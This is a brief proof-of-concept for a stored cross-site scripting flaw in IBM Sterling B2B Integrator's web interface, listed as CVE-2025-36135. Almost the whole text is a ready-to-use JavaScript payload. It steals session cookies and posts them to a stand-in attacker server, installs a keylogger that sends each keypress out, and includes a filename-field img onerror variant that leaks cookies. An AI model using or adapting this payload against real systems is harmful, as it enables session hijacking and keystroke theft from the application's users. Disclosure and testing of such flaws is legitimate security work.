CVE-2025-36135 IBM Sterling B2B Integrator 存储型XSS漏洞

<!-- CVE-2025-36135 PoC - Stored XSS in IBM Sterling B2B Integrator --> <!-- This PoC demonstrates the XSS vulnerability in the Web UI --> <!-- Replace TARGET_URL with the actual IBM Sterling application URL --> <script> // Steal session cookies var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker-controlled-server.com/steal', true); xhr.send('cookies=' + encodeURIComponent(cookies)); // Alternatively, perform keylogging document.addEventListener('keypress', function(e) { var key = e.key; fetch('https://attacker-controlled-server.com/log?key=' + key); }); </script> <!-- Example attack payload for filename field --> <!-- <img src=x onerror='fetch("https://attacker.com/cookie?c="+document.cookie)'> -->